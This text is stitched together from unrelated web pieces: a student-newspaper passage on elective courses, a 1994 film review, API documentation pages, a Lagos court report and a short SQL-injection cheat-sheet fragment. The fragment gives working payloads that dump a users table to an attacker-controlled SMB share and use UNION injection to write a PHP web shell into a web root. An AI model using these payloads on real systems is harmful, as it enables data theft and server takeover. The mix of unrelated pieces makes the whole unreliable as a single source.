“Every time I teach the class, students tell me how much they appreciate what they’ve learned,” Martin said. “I’ve also had students who told me they decided to major in journalism after taking my class, and that is always very nice to hear.”
Halle Harris, a junior studying mechanical engineering, also believes people should try new and different courses unrelated to their majors.
“I think it’s important just to be more well-rounded and get experience with different subjects,” Harris said.
Harris filled her fine arts credit with Theater 1130: Acting Fundamentals I. She was tasked with memorizing lines and putting together small scenes with fellow classmates. Harris enjoyed acting out her final scene especially and working with others to present it.
“I’ve never taken any acting; I just thought it would be fun to do, and it was,” Harris said. “I really liked it. It was nice to get out of my comfort zone a little.”
Harris enjoyed taking a class that challenged different parts of her brain and would definitely recommend the class to other students.
“I’d definitely recommend other people to take it, especially if they have no acting experience at all, because they just might learn something really interesting,” Harris said.
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INTO OUTFILE (single quotes CAN'T be bypassed)
The SELECT ... INTO OUTFILE command can be used to direct the output from an arbitrary query into a file. The specified filename may contain a UNC path, enabling you to direct the output to a file on your own computer.To receive the file, you need to create an SMB share on your computer that allows anonymous write access.
Retrieve file content via SMB
select * into outfile '\\\\mdattacker.net\\share\\output.txt' from users
Create file in webroot
http://<IP_ADDRESS>/comment.php?id=738 union select 1,2,3,4,"<?php echo shell_exec($_GET['cmd']);?>",6 into OUTFILE 'c:/xampp/htdocs/backdoor.php'
http://<IP_ADDRESS>/comment.php?id=738 union select 1,2,3,4,"<?php echo shell_exec($_GET['cmd']);?>",6 into DUMPFILE 'c:/xampp/htdocs/backdoor.php'


:: com :: sun :: star :: container ::
|
| unpublished |
interface XStringKeyMap |
|
|
|
- Usage Restrictions
- not published
- Description
- maps strings to anys.
- Since
- OOo 2.3
|
| Attributes' Summary |
| Count |
the number of elements in the map.
|
| Methods' Details |
getValue
- Description
- reads data from the map.
- Parameter aKey
- The key string which should be searched for.
- Returns
- the value matching aKey.
- Throws
- com::sun::star::container::NoSuchElementException
if an element under aKey does not exist.
|
|
hasValue
| boolean |
| hasValue( |
[in] string |
aKey ); |
- Description
- checks for element existence.
- Parameter aKey
- The key string which should be searched for.
- Returns
- true if an element with key aKey exists.
|
|
insertValue
- Description
- writes data to the map.
- Parameter aKey
- The key string which should be used to store the value.
- Parameter aValue
- The value that should be stored.
- Throws
- com::sun::star::lang::IllegalArgumentException
if the element could not be inserted.
- Throws
- com::sun::star::container::ElementExistException
if there is already a value stored under the key aKey.
|
|
getKeyByIndex
- Description
- obtains the key of an element by index.
- Parameter nIndex
- is the index of the element.
- Returns
- the key string matching the given index.
- Throws
- com::sun::star::lang::IndexOutOfBoundsException
if the specified index is greater than the number of
elements
|
|
getValueByIndex
- Description
- obtains the value of an element by index.
- Parameter nIndex
- is the index of the key.
- Returns
- the value matching the given index.
- Throws
- com::sun::star::lang::IndexOutOfBoundsException
if the specified index is greater than the number of
elements
|
|
| Attributes' Details |
Count
[ readonly ] long Count;
- Description
- the number of elements in the map.
|
|
Top of Page
Copyright © 2013, The Apache Software Foundation, Licensed under the Apache License, Version 2.0. Apache, the Apache feather logo, Apache OpenOffice and OpenOffice.org are trademarks of The Apache Software Foundation. Other names may be trademarks of their respective owners.


IN THE NAME OF THE FATHER A film review by Steve Rhodes Copyright 1995 Steve Rhodes
RATING (0 TO ****): ** 1/2
Every time I saw the previews for IN THE NAME OF THE FATHER, I wanted to see the show even more since it had some of my favorite movie components: a true story, courtroom drama, detective work, and some of the best acting talent around. The short version of the story is that there was a pub bombing in Guildford, England subsequent to which the police arrested, tortured, and insured the conviction of the wrong people by illegal means. After 15 years, a smart lawyer with good detective skills got them freed.
Sad to say that I only kind of liked this show. The start in Northern Ireland (5%) was fascinating, the trial scenes (5%) were excellent, and the amazing detective work (2%) was great. The other 88% of the show was set in prison and the director (Jim Sheridan), screenwriters (Terry George and Jim Sheridan) , and especially the editor (Gerry Hambling) did a wonderful job of making us feel the tedious live of the prisoners. This 88% itself was slow and tedious. They accomplished their goal.
The acting was good especially by Daniel Day-Lewis although he was not near as good as in THE AGE OF INNOCENCE. Pete Postlethwaite did a moving portrayal as his father. Emma Thompson, as the lawyer/detective, was not in the show near enough. The writer was much more interested in the minutia of prison life than in courtroom scenes or detective work. Finally, the original prosecutor was played by the boy friend (Daniel Massey) from "The Golden Bowl" for you PBS fans - still love that series.
One final note, I believe that they got the wrong people, I believe that some of the police (played in the movie by Corin Redgrave, et. al.) did illegal activities (which a later jury did not), but I do not buy the massive scale portrayed in the picture. 20+ police officers all observing or actively participating? I don't think so.
IN THE NAME OF THE FATHER runs too long at 2:12. The scriptwriters and the editor should have given us a lot more courtroom drama and detective work and less retreats about prison life. This is an overly earnest movie about an important subject. It is easy to review the subject rather than the movie. Nevertheless, for me, the film only had a few good parts, but these were so outstanding that I give it thumbs up, and rated it ** 1/2. It is rated R for serious violence. Only mature teenagers should see it.
**** = One of the top few films of this or any year. A must see film. *** = Excellent show. Look for it. ** = Average movie. Kind of enjoyable. * = Poor show.  Totally unbearable.
REVIEW WRITTEN ON: January 16, 1994
Opinions expressed are mine and not meant to reflect my employer's.
The review above was posted to the
rec.arts.movies.reviews newsgroup (de.rec.film.kritiken for German reviews).
The Internet Movie Database accepts no responsibility for the contents of the
review and has no editorial control. Unless stated otherwise, the copyright
belongs to the author.
Please direct comments/criticisms of the review to relevant newsgroups.
Broken URLs inthe reviews are the responsibility of the author.
The formatting of the review is likely to differ from the original due
to ASCII to HTML conversion.
Related links: index of all rec.arts.movies.reviews reviews


The following are some courses being offered that are at least vaguely
related to Data Science. Please let us know of others that we should list
here.
Fall 2016
These are "topics" courses that are not taught regularly or listed with a
fixed syllabus in the catalog. These are excellent opportunities to take a
cutting-edge course.


Detailed progression and report
Categories
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fun Double?.toZec(decimals: Int = ZEC_FORMATTER.maximumFractionDigits): BigDecimal
Format a Double ZEC value as a BigDecimal ZEC value, right-padded to the given number of fraction digits. Start with ZEC -> End with ZEC.
decimals
- the scale to use for the resulting BigDecimal.
Return
this Double ZEC value converted into a BigDecimal, with the proper rounding mode for use
with other formatting functions.


2 men in court for allegedly stealing car worth N2.5 million
by Lawal SherifatTwo men, Godwin Amuzie and Godspower Imafidon, who allegedly stole a Honda Accord car valued at N2.5 million on Monday appeared before an Ikeja Chief Magistrates’ Court.
Amuzie, 25, an artisan and Imafidon, 25, a security man, who both reside at Satellite Town, Lagos, are facing charges of conspiracy and stealing.
They, however, pleaded not guilty to the two-count charge.
READ ALSO: Court invasion: DSS apologised to Justice Ojukwu ― Falana
The Prosecutor, ASP Clifford Ogu, told the court that the defendants committed the offenses on Sept. 13 at Satellite Town, Lagos.
Ogu alleged that the defendants stole the car belonging to the Complainant, Mr. Ezema Anselem.
He said that the complainant dropped the car for Amuzie to wash and when he returned to pick his car, the defendant had left with it.
“He reported the case to the police and the defendants were arrested with the car,” Ogu said.
READ ALSO: EFCC secures conviction of 111 fraudsters in Southeast in 11 months
He said that the offenses contravened Sections 287 and 411 of the Criminal Law of Lagos State, 2015.
The Chief Magistrate, Mr. J. A Adegun, admitted the defendants to bail in the sum of N200,000 each with two sureties in like sum.
Adegun adjourned the case until Jan. 8, 2020 for mention.


| Package | Description |
|---|---|
| com.ctc.wstx.dtd |
Package that contains Woodstox classes that implement DTD handling.
|
| com.ctc.wstx.sr |
This package contains supporting code for handling namespace information;
element stacks that keep track of elements parsed and such.
|
| com.ctc.wstx.util |
Contains utility classes that are not directly Woodstox specific, but are
for now only used by Woodstox.
|
| Modifier and Type | Class and Description |
|---|---|
class |
FullDTDReader
Reader that reads in DTD information from internal or external subset.
|
class |
MinimalDTDReader
Minimal DTD reader implementation that only knows how to skip
internal DTD subsets.
|
| Modifier and Type | Method and Description |
|---|---|
DTDAttribute |
DTDElement.addAttribute(InputProblemReporter rep,
PrefixedName attrName,
int valueType,
DefaultAttrValue defValue,
WordResolver enumValues,
boolean fullyValidate)
Method called by DTD parser when it has read information about
an attribute that belong to this element
|
DTDAttribute |
DTDElement.addNsDefault(InputProblemReporter rep,
PrefixedName attrName,
int valueType,
DefaultAttrValue defValue,
boolean fullyValidate)
Method called to add a definition of a namespace-declaration
pseudo-attribute with a default value.
|
protected void |
DTDAttribute.checkEntity(InputProblemReporter rep,
String id,
EntityDecl ent) |
DTDSubset |
DTDSubsetImpl.combineWithExternalSubset(InputProblemReporter rep,
DTDSubset extSubset)
Method that will combine definitions from internal and external subsets,
producing a single DTD set.
|
abstract DTDSubset |
DTDSubset.combineWithExternalSubset(InputProblemReporter rep,
DTDSubset extSubset)
Method that will combine definitions from this internal subset with
definitions from passed-in external subset, producing a new combined
DTDSubset instance.
|
void |
DTDElement.defineFrom(InputProblemReporter rep,
DTDElement definedElem,
boolean fullyValidate)
Method called to "upgrade" a placeholder using a defined element,
including adding attributes.
|
void |
DTDElement.mergeMissingAttributesFrom(InputProblemReporter rep,
DTDElement other,
boolean fullyValidate) |
protected String |
DTDAttribute.reportValidationProblem(InputProblemReporter rep,
String msg)
Method called during parsing of DTD schema, to report a problem.
|
void |
DTDCdataAttr.validateDefault(InputProblemReporter rep,
boolean normalize) |
void |
DTDEntitiesAttr.validateDefault(InputProblemReporter rep,
boolean normalize)
Method called by the validator object
to ask attribute to verify that the default it has (if any) is
valid for such type.
|
void |
DTDEntityAttr.validateDefault(InputProblemReporter rep,
boolean normalize)
Method called by the validator object
to ask attribute to verify that the default it has (if any) is
valid for such type.
|
void |
DTDEnumAttr.validateDefault(InputProblemReporter rep,
boolean normalize)
Method called by the validator
to ask attribute to verify that the default it has (if any) is
valid for such type.
|
void |
DTDIdRefsAttr.validateDefault(InputProblemReporter rep,
boolean normalize)
Method called by the validator
to ask attribute to verify that the default it has (if any) is
valid for such type.
|
void |
DTDNmTokensAttr.validateDefault(InputProblemReporter rep,
boolean normalize)
Method called by the validator
to ask attribute to verify that the default it has (if any) is
valid for such type.
|
void |
DTDIdAttr.validateDefault(InputProblemReporter rep,
boolean normalize)
Method called by the validator
to ask attribute to verify that the default it has (if any) is
valid for such type.
|
void |
DTDIdRefAttr.validateDefault(InputProblemReporter rep,
boolean normalize)
Method called by the validator
to ask attribute to verify that the default it has (if any) is
valid for such type.
|
void |
DTDNmTokenAttr.validateDefault(InputProblemReporter rep,
boolean normalize)
Method called by the validator
to ask attribute to verify that the default it has (if any) is
valid for such type.
|
void |
DTDNotationAttr.validateDefault(InputProblemReporter rep,
boolean normalize)
Method called by the validator
to ask attribute to verify that the default it has (if any) is
valid for such type.
|
abstract void |
DTDAttribute.validateDefault(InputProblemReporter rep,
boolean normalize)
Method called by the
DTDValidator
to ask attribute to verify that the default it has (if any) is
valid for such type. |
protected String |
DTDAttribute.validateDefaultName(InputProblemReporter rep,
boolean normalize) |
protected String |
DTDAttribute.validateDefaultNames(InputProblemReporter rep,
boolean normalize) |
protected String |
DTDAttribute.validateDefaultNmToken(InputProblemReporter rep,
boolean normalize) |
| Modifier and Type | Class and Description |
|---|---|
class |
BasicStreamReader
Partial implementation of
XMLStreamReader2 consisting of
all functionality other than DTD-validation-specific parts, and
Typed Access API (Stax2 v3.0), which are implemented at
sub-classes. |
class |
StreamScanner
Abstract base class that defines some basic functionality that all
Woodstox reader classes (main XML reader, DTD reader) extend from.
|
class |
TypedStreamReader
Complete implementation of
XMLStreamReader2 ,
including Typed Access API (Stax2 v3.0) implementation. |
class |
ValidatingStreamReader
Implementation of
XMLStreamReader2
that builds on TypedStreamReader and adds full DTD-handling
including DTD validation |
| Modifier and Type | Field and Description |
|---|---|
protected InputProblemReporter |
InputElementStack.mReporter |
| Modifier and Type | Method and Description |
|---|---|
protected void |
InputElementStack.connectReporter(InputProblemReporter rep) |
byte[] |
AttributeCollector.decodeBinary(int index,
org.codehaus.stax2.typed.Base64Variant v,
org.codehaus.stax2.ri.typed.CharArrayBase64Decoder dec,
InputProblemReporter rep) |
int |
AttributeCollector.decodeValues(int index,
org.codehaus.stax2.typed.TypedArrayDecoder tad,
InputProblemReporter rep)
Method called to decode the attribute value that consists of
zero or more space-separated tokens.
|
int |
AttributeCollector.resolveNamespaces(InputProblemReporter rep,
StringVector ns)
Method called to resolve namespace URIs from attribute prefixes.
|
protected void |
AttributeCollector.throwDupAttr(InputProblemReporter rep,
int index)
Method that can be used to get the specified attribute value,
by getting it written using Writer passed in.
|
| Modifier and Type | Method and Description |
|---|---|
int |
TextBuffer.decodeElements(org.codehaus.stax2.typed.TypedArrayDecoder tad,
InputProblemReporter rep)
Pass-through decode method called to find find the next token,
decode it, and repeat the process as long as there are more
tokens and the array decoder accepts more entries.
|
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